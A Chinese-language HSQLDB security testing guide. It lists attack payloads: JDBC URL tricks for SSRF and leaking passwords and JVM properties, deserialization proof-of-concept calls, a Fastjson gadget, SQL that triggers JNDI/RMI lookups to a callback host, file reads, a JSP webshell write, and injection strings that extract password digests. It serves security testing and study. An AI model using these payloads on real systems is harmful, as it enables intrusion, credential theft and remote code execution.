HSQLDB 安全测试指南
字数 1494 2025-08-10 08:28:32
HSQLDB 安全测试指南
1. 背景介绍
HSQLDB(HyperSQL DataBase)是一个完全由Java编写的小型嵌入式数据库,具有以下特点:
- 可以以文件或内存形式运行
- 不需要单独启动服务器
- 内置HTTP和HSQL两种协议的服务器
- 自带Servlet类
org.hsqldb.server.Servlet可注册到Tomcat中使用
HSQLDB支持四种连接模式:
- 内存模式:
jdbc:hsqldb:mem:myDbName - 文件模式:
jdbc:hsqldb:file:/opt/db/myDbName - WEB服务器模式:
jdbc:hsqldb:http://localhost/myDbName - HSQL服务器模式:
jdbc:hsqldb:hsql://localhost:9001/myDbName
2. 调试环境搭建
HSQLDB编译时移除了调试信息,无法直接调试。解决方案:
- 使用longofo/hsqldb-source编译1.8版本
- 如需调试其他版本需自行编译相应版本
3. JDBC URL安全问题
3.1 SSRF+密码泄露
- 通过HTTP/HTTPS连接方式可进行无回显SSRF探测
- 验证密码时会将明文密码带入请求体
3.2 获取JVM敏感变量
org.hsqldb.DatabaseURL#parseURL方法会解析${}中的字符串- 通过
System.getProperty()获取系统属性 - 示例:获取
user.dir等敏感信息
3.3 写SQL文件泄露密码
- 使用文件模式:
jdbc:hsqldb:file:/path/to/db - 生成的文件中包含SCRIPT文件(数据库初始化脚本)
- SCRIPT文件包含用户名和MD5加密的密码
- 通过在线平台可破解常见密码
4. 反序列化漏洞
4.1 参数恢复反序列化
- 通过CALL命令调用Java静态方法
- HEX参数会自动解码并通过
ObjectInputStream反序列化 - 示例POC:
statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");
4.2 图形化客户端反序列化
- 利用
org.hsqldb.types.JavaObjectData#getObject方法 - 需要创建OTHER类型字段的表并插入序列化对象
- 当客户端查询时会触发反序列化
4.3 DataSource gadget
- Fastjson autotype场景下可利用
- 示例payload:
{
"@type":"org.hsqldb.jdbc.pool.JDBCPooledDataSource",
"url":"jdbc:hsqldb:http://127.0.0.1:2333/?${user.dir}",
"user":"sa",
"password":"",
"a":{"$ref":"$.pooledConnection"}
}
5. 高危SQL命令
5.1 方法调用
- 自定义函数:
CREATE FUNCTION rce(VARCHAR(80))
RETURNS VARCHAR(80)
NO SQL
LANGUAGE JAVA
EXTERNAL NAME 'CLASSPATH:java.rmi.Naming.list';
CALL rce('rmi://127.0.0.1:2333/a')
- 直接调用Java方法:
CALL "java.rmi.Naming.list"('rmi://127.0.0.1:2333/a')
- 设置密码检查扩展方法:
SET DATABASE PASSWORD CHECK FUNCTION EXTERNAL NAME 'CLASSPATH:java.class.method'
SET DATABASE AUTHENTICATION FUNCTION EXTERNAL NAME 'CLASSPATH:java.class.method'
5.2 文件读取
- LOAD_FILE函数:
- 默认只能读取数据库文件目录及其子目录
- 需要
hsqldb.allow_full_path=true才能跨目录
- TEXT TABLE:
CREATE TEXT TABLE TESTDATA(txt VARCHAR(255));
SET TABLE TESTDATA SOURCE 'data.script'
- IMPORT SCRIPT:
- 可以跨目录读取文件
- 内容以报错形式显示
PERFORM IMPORT SCRIPT VERSIONING DATA FROM 'C:/windows/win.ini'
5.3 文件写入
SCRIPT命令:
CREATE TABLE EVIL(txt VARCHAR(255));
INSERT INTO EVIL VALUES('<%=666666-1%>');
SCRIPT 'E:/path/to/web/evil.jsp';
6. SQL注入技术
6.1 报错注入
- LOAD_FILE函数:
test' and load_file(concat('x:/',(SELECT top 1 concat(user_name,'~',password_digest) FROM information_schema.system_users)))!=null and '1'='1
- REGEXP_REPLACE函数:
test' and REGEXP_REPLACE('','','','',1,concat('~',user()))='1
6.2 UNION注入
- 确定列数:
test' or 1=1 order by 13--!
- 获取数据:
test' and 1=2 union select database(),(SELECT top 1 concat(user_name,'~',password_digest) FROM information_schema.system_users),null,null,null,null,null,null,null,null,null,true,null from INFORMATION_SCHEMA.TABLES--!
6.3 布尔盲注
使用DECODE函数:
decode(user(),'SA',1,0)
6.4 延时盲注
- 使用REGEXP_MATCHES引发REDOS:
REGEXP_MATCHES('aaaaaaaaaaaaaaaaaaaaaaaaaaaX','(a+)+')
- 查询大数据量表引发延时
6.5 堆叠注入
HSQLDB默认允许堆叠查询:
test';CALL "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:2333/Exploit');--!
非堆叠注入方式:
test' and "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:2333/Exploit')!=null and 'a'='a
7. 参考资源
- 快手SRC首发文章
- HSQLDB官方文档:Chapter 10. Built In Functions
- longofo/hsqldb-source
- F5 BIG-IP hsqldb(CVE-2020-5902)漏洞分析